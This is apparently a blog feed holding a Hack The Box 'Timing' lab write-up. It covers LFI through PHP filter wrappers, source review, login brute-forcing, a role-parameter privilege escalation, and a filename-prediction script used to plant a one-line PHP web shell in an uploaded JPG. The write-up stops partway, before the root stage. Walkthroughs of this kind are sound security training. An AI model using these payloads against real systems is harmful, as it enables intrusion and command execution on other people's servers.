<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.3">Jekyll</generator><link href="https://python4004.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://python4004.github.io/" rel="alternate" type="text/html" /><updated>2023-06-14T15:11:50+00:00</updated><id>https://python4004.github.io/feed.xml</id><title type="html">python4004</title><subtitle>Leaf - Jekyll Theme</subtitle><entry><title type="html">Timing</title><link href="https://python4004.github.io/timing" rel="alternate" type="text/html" title="Timing" /><published>2022-06-01T00:00:00+00:00</published><updated>2022-06-01T00:00:00+00:00</updated><id>https://python4004.github.io/Timing</id><content type="html" xml:base="https://python4004.github.io/timing">&lt;h1 id=&quot;hack-the-box---timing&quot;&gt;Hack The Box - Timing&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/167136582-1b224c83-8ce5-4772-8766-304e5876294c.jpg&quot; alt=&quot;home&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;brief-of-attacks-&quot;&gt;Brief of attacks :&lt;/h3&gt;

&lt;p&gt;1-LFI&lt;/p&gt;

&lt;p&gt;2-source code review (php)&lt;/p&gt;

&lt;p&gt;3-Unrestricted File Upload&lt;/p&gt;

&lt;p&gt;4-Symbolic link&lt;/p&gt;

&lt;h4 id=&quot;1-nmap&quot;&gt;1-Nmap&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sC -sV  -P 10.10.11.135
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-06 13:06 GMT
Nmap scan report for Timing.htb (10.10.11.135)
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;let’s explore port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;80&lt;/code&gt; ,it is login page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/167138043-200b10a8-6468-408b-a3ee-f84dd168432b.png&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;user-flag&quot;&gt;user flag&lt;/h2&gt;

&lt;p&gt;i tried &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sql injection&lt;/code&gt; but didn’t work, so let’s explore directories ,i prefere &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dirsearch&lt;/code&gt; tool&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[13:38:41] 200 -    0B  - /image.php
[13:38:48] 200 -    5KB - /login.php

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;image.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WFUZZ&lt;/code&gt; to find if there is any parameter and i found &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;img&lt;/code&gt; parameter.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wfuzz -w anyworldist -hh 0 http://timing.htb/image.php?FUZZ=../etc/passwd&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;note-&quot;&gt;note :&lt;/h4&gt;
&lt;p&gt;To find &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;img&lt;/code&gt; parameter i want to make application tell that me  right, you trying to hack me.&lt;/p&gt;

&lt;p&gt;another tools :&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;param-miner

Arjun
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;lfi&quot;&gt;LFI:&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/170888075-b55b6abb-5ac3-4d23-802a-5c11560b312d.png&quot; alt=&quot;2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;very good it’s seem way to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;attack&lt;/code&gt; let’s try some injections (Sql injection -LFI-command injection)&lt;/p&gt;

&lt;p&gt;using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PHP wrappers&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;finally i found its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LFI&lt;/code&gt;, i used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;php://filter/convert.base64-encode&lt;/code&gt; LFI technique to get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;etc/passwd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;you can find ways to detect &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LFI&lt;/code&gt; 
&lt;a href=&quot;https://book.hacktricks.xyz/pentesting-web/file-inclusion&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/170888290-c9328511-d71a-4377-986a-7306fb7d866c.png&quot; alt=&quot;3&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;notice&quot;&gt;notice&lt;/h4&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aaron:x:1000:1000:aaron:/home/aaron:/bin/bash&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;let’s read&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;login.php&lt;/code&gt; after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64&lt;/code&gt; decode&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?php

include &quot;header.php&quot;;

function createTimeChannel()
{
    sleep(1);
}

include &quot;db_conn.php&quot;;

if (isset($_SESSION['userid'])){
    header('Location: ./index.php');
    die();
}


if (isset($_GET['login'])) {
    $username = $_POST['user'];
    $password = $_POST['password'];

    $statement = $pdo-&amp;gt;prepare(&quot;SELECT * FROM users WHERE username = :username&quot;);
    $result = $statement-&amp;gt;execute(array('username' =&amp;gt; $username));
    $user = $statement-&amp;gt;fetch();

    if ($user !== false) {
        createTimeChannel();
        if (password_verify($password, $user['password'])) {
            $_SESSION['userid'] = $user['id'];
            $_SESSION['role'] = $user['role'];
	    header('Location: ./index.php');
            return;
        }
    }
    $errorMessage = &quot;Invalid username or password entered&quot;;


}
?&amp;gt;
&amp;lt;?php
if (isset($errorMessage)) {

    ?&amp;gt;
    &amp;lt;div class=&quot;container-fluid&quot;&amp;gt;
        &amp;lt;div class=&quot;row&quot;&amp;gt;
            &amp;lt;div class=&quot;col-md-10 col-md-offset-1&quot;&amp;gt;
                &amp;lt;div class=&quot;alert alert-danger alert-dismissible fade in text-center&quot; role=&quot;alert&quot;&amp;gt;&amp;lt;strong&amp;gt;

                        &amp;lt;?php echo $errorMessage; ?&amp;gt;

                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;?php
}
?&amp;gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;./css/login.css&quot;&amp;gt;

    &amp;lt;div class=&quot;wrapper fadeInDown&quot;&amp;gt;
        &amp;lt;div id=&quot;formContent&quot;&amp;gt;
            &amp;lt;div class=&quot;fadeIn first&quot; style=&quot;padding: 20px&quot;&amp;gt;
                &amp;lt;img src=&quot;./images/user-icon.png&quot; width=&quot;100&quot; height=&quot;100&quot;/&amp;gt;
            &amp;lt;/div&amp;gt;

            &amp;lt;form action=&quot;?login=true&quot; method=&quot;POST&quot;&amp;gt;

                &amp;lt;input type=&quot;text&quot; id=&quot;login&quot; class=&quot;fadeIn second&quot; name=&quot;user&quot; placeholder=&quot;login&quot;&amp;gt;

                &amp;lt;input type=&quot;text&quot; id=&quot;password&quot; class=&quot;fadeIn third&quot; name=&quot;password&quot; placeholder=&quot;password&quot;&amp;gt;

                &amp;lt;input type=&quot;submit&quot; class=&quot;fadeIn fourth&quot; value=&quot;Log In&quot;&amp;gt;

            &amp;lt;/form&amp;gt;


            &amp;lt;!-- todo --&amp;gt;
            &amp;lt;div id=&quot;formFooter&quot;&amp;gt;
                &amp;lt;a class=&quot;underlineHover&quot; href=&quot;#&quot;&amp;gt;Forgot Password?&amp;lt;/a&amp;gt;
            &amp;lt;/div&amp;gt;

        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;


&amp;lt;?php
include &quot;footer.php&quot;;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;i found &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;db_conn.php&lt;/code&gt; and many pages ,i got all of them let’s start new chapter.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/170888997-b67eb05e-d040-4b89-b562-56e37e122212.png&quot; alt=&quot;4&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;code-review&quot;&gt;code review:&lt;/h3&gt;

&lt;h3 id=&quot;loginphp&quot;&gt;login.php:&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if (isset($_GET['login'])) {
    $username = $_POST['user'];
    $password = $_POST['password'];

    $statement = $pdo-&amp;gt;prepare(&quot;SELECT * FROM users WHERE username = :username&quot;);
    $result = $statement-&amp;gt;execute(array('username' =&amp;gt; $username));
    $user = $statement-&amp;gt;fetch();

    if ($user !== false) {
        createTimeChannel();
        if (password_verify($password, $user['password'])) {
            $_SESSION['userid'] = $user['id'];
            $_SESSION['role'] = $user['role'];
	    header('Location: ./index.php');
            return;
        }
    }
    $errorMessage = &quot;Invalid username or password entered&quot;;


}

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;From the first look this code seems to have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sql injection&lt;/code&gt; but after search with my friend &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Yasser Elsnbary&lt;/code&gt; we found that its not sql injection&lt;/p&gt;

&lt;p&gt;you can check it from
&lt;a href=&quot;https://stackoverflow.com/questions/14589407/what-does-a-colon-before-a-literal-in-an-sql-statement-mean&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Prepared statements are very useful against SQL injections, because parameter values, which are transmitted later using a different protocol, need not be correctly escaped. If the original statement template is not derived from external input, SQL injection cannot occur.

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;its seem that we have user that have high privilege over other users it may admin user but first we need to login.&lt;/p&gt;

&lt;p&gt;i only have a user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aaron&lt;/code&gt; but i dont have his passowrd and no way to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sql_injection&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;i found this passowrd &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4_V3Ry_l0000n9_p422w0rd&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;db_conn.php&lt;/code&gt; but doesn’t work.&lt;/p&gt;

&lt;p&gt;so the last solution to find &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aaron&lt;/code&gt; password is to bruteforce we may found it.&lt;/p&gt;

&lt;p&gt;using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rockyou&lt;/code&gt; wordlist it was easy to find ,so our username&amp;amp; password  [&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aaron&lt;/code&gt;-&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aaron&lt;/code&gt;]&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/171068633-de00d6bd-5466-485d-b70b-5f9ec013b3f9.png&quot; alt=&quot;5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After logging, i realized that i am in right corner i am &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user 2&lt;/code&gt; so i need to increase my privilege.&lt;/p&gt;

&lt;p&gt;lets open &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;burpsuite&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Edit profile&lt;/code&gt; page&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/171068968-87e29291-36cd-4f65-a3b6-774f828eb612.png&quot; alt=&quot;6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin_auth_check.php&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;include_once &quot;auth_check.php&quot;;

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo &quot;No permission to access this panel!&quot;;
    header('Location: ./index.php');
    die();
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;lets try to manipulate this  by setting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;role=1&lt;/code&gt;,so let’s add role parameter and see what will happen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/171070042-beb3d3ca-b809-4668-ae81-5c843ee5f252.png&quot; alt=&quot;7&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;role&lt;/code&gt; parameter changed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;json response&lt;/code&gt; &amp;amp; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin panel&lt;/code&gt; tab appeared.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/171071990-835005a6-117c-4272-aeeb-83af822d8397.png&quot; alt=&quot;8&quot; /&gt;&lt;/p&gt;

&lt;p&gt;lets check &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;avatar_uploader.php&lt;/code&gt; :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?php

include_once &quot;header.php&quot;;

include_once &quot;admin_auth_check.php&quot;;
?&amp;gt;

&amp;lt;script src=&quot;js/avatar_uploader.js&quot;&amp;gt;&amp;lt;/script&amp;gt;

&amp;lt;style&amp;gt;
    .bg {
        padding: 30px;
        /* Full height */
        height: 100%;

        /* Center and scale the image nicely */
        background-position: center;
        background-repeat: no-repeat;
        background-size: cover;
    }
&amp;lt;/style&amp;gt;

&amp;lt;div class=&quot;bg&quot; id=&quot;main&quot;&amp;gt;

    &amp;lt;div class=&quot;alert alert-success&quot; id=&quot;alert-uploaded-success&quot; style=&quot;display: none&quot;&amp;gt;

    &amp;lt;/div&amp;gt;

    &amp;lt;div class=&quot;alert alert-danger&quot; id=&quot;alert-uploaded-error&quot; style=&quot;display: none&quot;&amp;gt;

    &amp;lt;/div&amp;gt;

    &amp;lt;div class=&quot;container bootstrap snippets bootdey&quot; style=&quot;margin-bottom: 150px&quot;&amp;gt;
        &amp;lt;h1 class=&quot;text-primary&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-user&quot;&amp;gt;&amp;lt;/span&amp;gt;Upload avatar&amp;lt;/h1&amp;gt;
        &amp;lt;hr&amp;gt;


        &amp;lt;form class=&quot;form-inline&quot; action=&quot;upload.php&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
            &amp;lt;div class=&quot;form-group mb-2&quot;&amp;gt;
                &amp;lt;input type=&quot;file&quot; name=&quot;fileToUpload&quot; class=&quot;form-control&quot; id=&quot;fileToUpload&quot;&amp;gt;
            &amp;lt;/div&amp;gt;

            &amp;lt;button type=&quot;button&quot; onclick=&quot;doUpload()&quot; class=&quot;btn btn-primary&quot;&amp;gt;
                Upload Image
            &amp;lt;/button&amp;gt;

        &amp;lt;/form&amp;gt;

    &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;

&amp;lt;?php
include_once &quot;footer.php&quot;;
?&amp;gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;avatar_uploader.js&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$(document).ready(function () {
    document.getElementById(&quot;main&quot;).style.backgroundImage = &quot;url('/image.php?img=images/background.jpg'&quot;
});

function doUpload() {

    if (document.getElementById(&quot;fileToUpload&quot;).files.length == 0) {
        document.getElementById(&quot;alert-uploaded-error&quot;).style.display = &quot;block&quot;
        document.getElementById(&quot;alert-uploaded-success&quot;).style.display = &quot;none&quot;
        document.getElementById(&quot;alert-uploaded-error&quot;).textContent = &quot;No file selected!&quot;
    } else {

        let file = document.getElementById(&quot;fileToUpload&quot;).files[0];  // file from input
        let xmlHttpRequest = new XMLHttpRequest();
        xmlHttpRequest.onreadystatechange = function () {
            if (xmlHttpRequest.readyState == 4 &amp;amp;&amp;amp; xmlHttpRequest.status == 200) {


                if (xmlHttpRequest.responseText.includes(&quot;Error:&quot;)) {
                    document.getElementById(&quot;alert-uploaded-error&quot;).style.display = &quot;block&quot;
                    document.getElementById(&quot;alert-uploaded-success&quot;).style.display = &quot;none&quot;
                    document.getElementById(&quot;alert-uploaded-error&quot;).textContent = xmlHttpRequest.responseText;
                } else {
                    document.getElementById(&quot;alert-uploaded-error&quot;).style.display = &quot;none&quot;
                    document.getElementById(&quot;alert-uploaded-success&quot;).textContent = xmlHttpRequest.responseText;
                    document.getElementById(&quot;alert-uploaded-success&quot;).style.display = &quot;block&quot;
                }

            }
        };
        let formData = new FormData();

        formData.append(&quot;fileToUpload&quot;, file);
        xmlHttpRequest.open(&quot;POST&quot;, 'upload.php');
        xmlHttpRequest.send(formData);
    }
}

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;upload.php&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?php
#include(&quot;admin_auth_check.php&quot;);

$upload_dir = &quot;images/uploads/&quot;;

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES[&quot;fileToUpload&quot;][&quot;name&quot;]);
$target_file = $upload_dir . $file_name;
$error = &quot;&quot;;
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST[&quot;submit&quot;])) {
    $check = getimagesize($_FILES[&quot;fileToUpload&quot;][&quot;tmp_name&quot;]);
    if ($check === false) {
        $error = &quot;Invalid file&quot;;
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = &quot;Sorry, file already exists.&quot;;
}

if ($imageFileType != &quot;jpg&quot;) {
    $error = &quot;This extension is not allowed.&quot;;
}

if (empty($error)) {
    if (move_uploaded_file($_FILES[&quot;fileToUpload&quot;][&quot;tmp_name&quot;], $target_file)) {
        echo &quot;The file has been uploaded.&quot;;
    } else {
        echo &quot;Error: There was an error uploading your file.&quot;;
    }
} else {
    echo &quot;Error: &quot; . $error;
}
?&amp;gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;analyzinguploadphp&quot;&gt;analyzing(upload.php):&lt;/h4&gt;

&lt;p&gt;1- we can upload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jpg&lt;/code&gt; file&lt;/p&gt;

&lt;p&gt;2- upload_dir = &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;images/uploads/&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;3- this code change the name of photo from this lines&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$file_hash = uniqid()
md5('$file_hash' . time()) . '_' . basename($_FILES[&quot;fileToUpload&quot;][&quot;name&quot;])
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;so we need to create simple script that change name like this sequence :&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;md5(uniqid()+time())+filename&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;note-that&quot;&gt;note that&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uniqid()&lt;/code&gt;-&amp;gt; generates a unique ID based on the microtime (the current time in microseconds).&lt;/p&gt;

&lt;p&gt;The generated ID from this function does not guarantee uniqueness of the return value&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time()&lt;/code&gt;-&amp;gt; function returns the current time in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT).&lt;/p&gt;

&lt;p&gt;so the problem that the new name of photo can be detected.&lt;/p&gt;

&lt;p&gt;i generate php code that help me to detect new photo name :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?PHP
#!/usr/bin/php
function uniqid_Test()
{
	$i=0;
	while ($i&amp;lt;80)
	{
		$hash_name=uniqid(); // return time in microsecond in hex format 
		//convert (hash_name ) to decimal value
		$Decimal_value =hexdec($hash_name); 
		$time_seconds=$Decimal_value*0.000001;

		#echo &quot;uniqid (microseconds) = &quot;.$hash_name.&quot;\n&quot;;

		#echo &quot;(uniqid)-&amp;gt; Decimal value (microseconds)= &quot;.$Decimal_value.&quot;\n&quot;;

		#echo &quot;(uniqid)-&amp;gt; Decimal value (Seconds) = &quot;.$time_seconds.&quot;\n&quot;;
		
		// from second to microsecond 
		$converted_id=($time_seconds+$i)/0.000001;
		
		$converted_id_hex=dechex($converted_id);

		echo date(&quot;D M j G:i:s T Y&quot;) .&quot; -&amp;gt; &quot;. md5($converted_id_hex.time()).&quot;\n&quot;;

		sleep(1);

		$i=$i+1;
	}

}
function time_Test()
{ 
	while (true)
	{
		echo date(&quot;G:i:s&quot;).&quot; -&amp;gt; &quot;.md5(uniqid().time()).&quot;pts.jpg&quot;.&quot;\n&quot;;

		sleep(1);
	
	}


}

#uniqid_Test()
#time_Test()

	while (true)
	{
		echo date(&quot;G:i:s&quot;).&quot; -&amp;gt; &quot;. md5(uniqid().time()) . '_'. &quot;pk.jpg&quot;;
		sleep(1);
		echo &quot;\n&quot;;

		
	
	}

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;so lets upload our shell file and run our script.&lt;/p&gt;

&lt;p&gt;we need php code inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jpg&lt;/code&gt; file&lt;/p&gt;

&lt;p&gt;i generate  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pk.jpg&lt;/code&gt; file and put this php code inside it 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;?php system($_GET[cmd]);?&amp;gt; &lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://timing.htb/image.php?img=images/uploads/e8fd9fafa2388864352241933bcac132_pk.jpg&amp;amp;cmd=ls&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;admin_auth_check.php
auth_check.php
avatar_uploader.php
css
db_conn.php
footer.php
header.php
image.php
images
index.php
js
login.php
logout.php

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt&lt;/code&gt; directory i found &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;source-files-backup.zip&lt;/code&gt;, i downloaded and explore it .&lt;/p&gt;

&lt;p&gt;in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;db_conn.php&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;i tried to login with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4_V3Ry_l0000n9_p422w0rd&lt;/code&gt; via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh&lt;/code&gt; but it doesn’t work,so i should dig more.&lt;/p&gt;

